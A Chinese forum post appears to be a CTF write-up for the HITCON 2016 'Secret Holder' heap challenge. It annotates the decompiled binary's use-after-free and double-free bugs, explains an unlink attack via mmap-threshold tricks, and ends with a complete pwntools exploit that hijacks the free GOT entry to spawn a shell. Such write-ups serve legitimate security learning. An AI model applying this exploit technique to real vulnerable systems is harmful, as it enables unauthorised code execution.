吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 862|回复: 0
收起左侧

[CTF] HITCON CTF 2016 : Secret Holdr

[复制链接]
R00tkit 发表于 2023-8-11 15:12
本帖最后由 R00tkit 于 2023-9-22 19:49 编辑

前言

关于unlink我写了另一篇文章详细解释。unlink初学时还是建议跟着调试一下,加深一下印象,文章中的注意点都是容易出错的地方。
https://bbs.kanxue.com/thread-278315.htm

检查文件信息

1

1

2

2

ELF64小端动态链接的bin,没有开PIE和FULL RELRO。

3

3

5

5

我并未下载2.19的glibc,还是先修改为glibc2.23。

试运行

4

4

逆向分析

/*main函数*/
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_400C80();
  puts("Hey! Do you have any secret?");
  puts("I can help you to hold your secrets, and no one will be able to see it :)");
  while ( 1 )
  {
    puts("1. Keep secret");
    puts("2. Wipe secret");
    puts("3. Renew secret");
    memset(s, 0, 4uLL);
    read(0, s, 4uLL); // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
    v3 = atoi(s);
    switch ( v3 )
    {
      case 2:
        Wipe();
        break;
      case 3:
        Renew();
        break;
      case 1:
        Keep();
        break;
    }
  }
}
/*Keep()函数*/
unsigned __int64 Keep()
{
  int v0; // eax
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which level of secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(s, 0, 4uLL);
  read(0, s, 4uLL); // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
  v0 = atoi(s);
  if ( v0 == 2 )
  {
    if ( !big_in_use )
    {
      big_data = calloc(1uLL, 0xFA0uLL);
      big_in_use = 1;
      puts("Tell me your secret: ");
      read(0, big_data, 0xFA0uLL);
    }
  }
  else if ( v0 == 3 )
  {
    if ( !huge_in_use )
    {
      huge_data = calloc(1uLL, 0x61A80uLL);
      huge_in_use = 1;
      puts("Tell me your secret: ");
      read(0, huge_data, 0x61A80uLL);
    }
  }
  else if ( v0 == 1 && !small_in_use )
  {
    small_data = calloc(1uLL, 0x28uLL);
    small_in_use = 1;
    puts("Tell me your secret: ");
    read(0, small_data, 0x28uLL);
  }
  return __readfsqword(0x28u) ^ v3;
}
/*Wipe()函数*/
unsigned __int64 Wipe()
{
  int v0; // eax
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(s, 0, 4uLL);
  read(0, s, 4uLL); // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
  v0 = atoi(s);
  switch ( v0 )
  {
    case 2:
      free(big_data);
      big_in_use = 0; // 并未将big_data置零,并未检查标志位是否为0,存在Double Free漏洞。
      break;
    case 3:
      free(huge_data); // 并未将huge_data置零,并未检查标志位是否为0,存在Double Free漏洞。
      huge_in_use = 0;
      break;
    case 1:
      free(small_data); // 并未将small_data置零,并未检查标志位是否为0,存在Double Free漏洞。
      small_in_use = 0;
      break;
  }
  return __readfsqword(0x28u) ^ v3;
}

很明显存在UAF漏洞和Double Free漏洞。

/*Renew()函数*/

unsigned __int64 Renew()
{
  int v0; // eax
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which Secret do you want to renew?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(s, 0, 4uLL);
  read(0, s, 4uLL);  // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
  v0 = atoi(s);
  if ( v0 == 2 )
  {
    if ( big_in_use )
    {
      puts("Tell me your secret: ");
      read(0, big_data, 0xFA0uLL);
    }
  }
  else if ( v0 == 3 )
  {
    if ( huge_in_use )
    {
      puts("Tell me your secret: ");
      read(0, huge_data, 0x61A80uLL);
    }
  }
  else if ( v0 == 1 && small_in_use )
  {
    puts("Tell me your secret: ");
    read(0, small_data, 0x28uLL);
  }
  return __readfsqword(0x28u) ^ v3;
}

漏洞利用

没有开FULL RELRO,可以考虑劫持got表,利用UAF实现堆块重叠,进而实现unlink。

扩展top_chunk,利用UAF通过Huge控制small 和 big块。

def unlink():    keep(3, b'A')
    debug() # 1
    wipe(3)
    debug() # 2 这时已经调整了mmap分配阈值。
    keep(1, b'A')
    debug() # 3
    wipe(1) # 因为存在UAF和DF,此时small_ptr指向top_chunk_fd,可以通过small_ptr释放huge_ptr
    debug() # 4
    keep(3, b'A')
    debug() # 5
    wipe(1) # 因为存在UAF和DF,此时huge_ptr和small_ptr指向同一位置,可以通过small_ptr释放huge_ptr
    debug() # 6
    keep(1, b'A')
    keep(2, b'A')
    debug() # 7

    payload = flat(0,0x21, small_ptr-0x18, small_ptr-0x10, 0x20, 0xfb0)
    renew(3, payload)
    wipe(2)

其实,很明显当前top_chunk无法满足huge_chunk(0x61A80)的分配,此时ptmalloc2会决定使用sbrk()还是mmap()分配内存,64bit的mmap阈值在128k(0x20000)到256k(0x40000)之间,而且是动态调整的。当我们申请并释放huge_chunk后,因为为mmap()性能并不好,会动态调整mmap()阈值,当我们再次申请huge_chunk时,会通过sbrk来申请,再次释放的时候,huge_chunk会进入top_chunk。

debug() # 1

6

6
debug() # 2

7

7

当我们申请huge_chunk后,明显0x61A80大于0x40000,会调用mmap()申请一块内存,释放后,这块mmap()申请到内存会用munmap()返还给操作系统,debug_1和debug_2 无法使用heap命令原因如此。

debug() # 3

8

8
debug() # 4

9

9

当我们申请释放3的时候,top_chunk并未改变大小,并且small_chunk(名字叫small_chunk,其实是fastchunk)进入了fast bin。

debug() # 5

10

10
这时我们申请的huge_chunk是通过sbrk得来的。

debug() # 6

11

11
通过small_ptr释放huge_chunk进入top_chunk,top_chunk成功扩大。

debug() # 7

12

12
此时huge_in_use并未被置为0,而且huge_chunk包含了small_chunk和big_chunk。huge_ptr和small_ptr指向同一位置。
此时堆结构如下。

13

13

执行完payload后的布局如下

14

14

此时wipe(2)即可实现unlink达到任意地址写的效果。至此我们成功将small_ptr指向了small_ptr-0x18的位置。

泄露libc基址,并getshell

def get_shell():
    payload = flat(b'/bin/sh\x00', elf.got['free'], elf.got['puts'], small_ptr-0x18) + p64(0xdeadbeef)
    renew(1, payload)
    renew(2, flat(elf.plt['puts']))
    wipe(3)
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
    libc_elf.address = libc_base

    renew(2, flat(libc_elf.sym['system']))
    wipe(1)
    p.interactive()

unlink前bss原布局

15

15
unlink后bss新布局

17

17

将第一个payload写入后,bss布局

21

21

renew(2, flat(elf.plt['puts']))就是将free_got改为puts_plt

19

19

然后wipe(3)将会打印出puts_got保存的真实地址,根据libc里面得puts的偏移可以算出栈的基址。同理renew(2, flat(libc_elf.sym['system']))将free_got保存的内容由puts_plt改为system的真实地址,然后wipe(1)就是执行system(new_small),也就是system("/bin/sh\x00")。

20

20

完整exp

from pwn import *

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']

elf = ELF('./secretHolder_hitcon_2016')
libc_elf = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
small_ptr = 0x6020b0

p = process('./secretHolder_hitcon_2016')

def debug():
    gdb.attach(p)
    pause()

def keep(idx, msg):
    p.sendlineafter(b"3. Renew secret\n", b'1')
    p.sendlineafter(b"3. Huge secret\n", str(idx).encode())
    p.sendafter(b"Tell me your secret: ", msg)

def wipe(idx):
    p.sendlineafter(b"3. Renew secret\n", b'2')
    p.sendlineafter(b"3. Huge secret\n", str(idx).encode())

def renew(idx, msg):
    p.sendlineafter(b"3. Renew secret\n", b'3')
    p.sendlineafter(b"3. Huge secret\n", str(idx).encode())
    p.sendafter(b"Tell me your secret: ", msg)

def unlink():
    keep(3, b'A')
    #debug() # 1
    wipe(3)
    #debug() # 2
    keep(1, b'A')
    #debug() # 3
    wipe(1)
    #debug() # 4
    keep(3, b'A')
    #debug() # 5
    wipe(1)
    #debug() # 6
    keep(1, b'A')
    keep(2, b'A')
    #debug() # 7

    payload = flat(0,0x21, small_ptr-0x18, small_ptr-0x10, 0x20, 0xfb0)
    renew(3, payload)
    wipe(2)

def get_shell():
    payload = flat(b'/bin/sh\x00', elf.got['free'], elf.got['puts'], small_ptr-0x18) + p64(0xdeadbeef)
    renew(1, payload)
    renew(2, flat(elf.plt['puts']))
    wipe(3)
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
    libc_elf.address = libc_base

    renew(2, flat(libc_elf.sym['system']))
    wipe(1)
    p.interactive()

def pwn():
    unlink()
    get_shell()

if __name__ == '__main__':
    pwn()

免费评分

参与人数 2威望 +1 吾爱币 +21 热心值 +2 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-2 03:47

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表